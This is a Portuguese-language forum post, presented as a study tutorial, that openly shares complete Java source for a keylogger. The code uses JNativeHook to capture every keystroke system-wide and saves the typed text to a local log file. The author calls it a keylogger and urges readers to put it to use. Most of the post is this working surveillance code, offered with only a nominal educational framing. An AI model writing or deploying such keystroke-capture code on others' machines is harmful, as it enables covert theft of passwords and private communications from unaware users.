Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Como capturar ações do teclado

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Como capturar ações do teclado

    Ooe, passando aqui pra deixar um pequeno exemplo PARA ESTUDOS de como capturar eventos do teclado em um computador. SIM, basicamente um keylogger.

    O código é bem simples, o que faço é simplesmente utilizar uma biblioteca chamada JNativeHook e implementar as capturas da forma que eu bem quiser. Vale ressaltar que isso pode ser muito mais elaborado, além de poder pegar eventos do mouse e fazer o que sua criatividade deixar.
    Também deixei um código para ele ir salvando em um txt o que foi digitado ou deletado.
    É isso aí, é simples, é besta, mas tá aí, apliquem de alguma forma, qualquer dúvida eu cobro hahaha.
    Abraços;


    Código:
    package br.com.keylogger;
    
    import java.io.FileWriter;
    import java.io.IOException;
    
    import org.jnativehook.GlobalScreen;
    import org.jnativehook.NativeHookException;
    import org.jnativehook.keyboard.NativeKeyEvent;
    import org.jnativehook.keyboard.NativeKeyListener;
    
    public class CapturaEventos implements NativeKeyListener {
    
    	StringBuilder sb = new StringBuilder();
    
    	@Override
    	public void nativeKeyPressed(NativeKeyEvent arg0) {
    		if (arg0.getKeyCode() == NativeKeyEvent.VC_ENTER) {
    			sb.append("");
    			System.out.println("");
    		} else if (arg0.getKeyCode() == NativeKeyEvent.VC_SPACE) {
    			sb.append(" ");
    			System.out.println(" ");
    		} else if(arg0.getKeyCode() == NativeKeyEvent.VC_BACKSPACE) {
    			sb.append("BACKSPACE");
    		}
    		else {
    			System.out.println(NativeKeyEvent.getKeyText(arg0.getKeyCode()));
    		}
    		gerarLog();
    	}
    
    	@Override
    	public void nativeKeyReleased(NativeKeyEvent arg0) {
    	}
    
    	@Override
    	public void nativeKeyTyped(NativeKeyEvent arg0) {
    		sb.append(arg0.getKeyChar());
    		System.out.println(NativeKeyEvent.getKeyText(arg0.getKeyCode()));
    		gerarLog();
    	}
    
    	public static void main(String[] args) {
    		try {
    			GlobalScreen.registerNativeHook();
    		} catch (NativeHookException e) {
    			e.printStackTrace();
    		}
    
    		GlobalScreen.addNativeKeyListener(new CapturaEventos());
    	}
    
    	public void gerarLog() {
    		try {
    			FileWriter fw = new FileWriter("C:\\temp\\log.txt");
    			fw.write(sb.toString());
    			fw.close();
    		} catch (IOException e) {
    			e.printStackTrace();
    		}
    	}
    
    }

    Sono e fome, isso me define.
    sigpic
    Similar Threads
X
Working...
X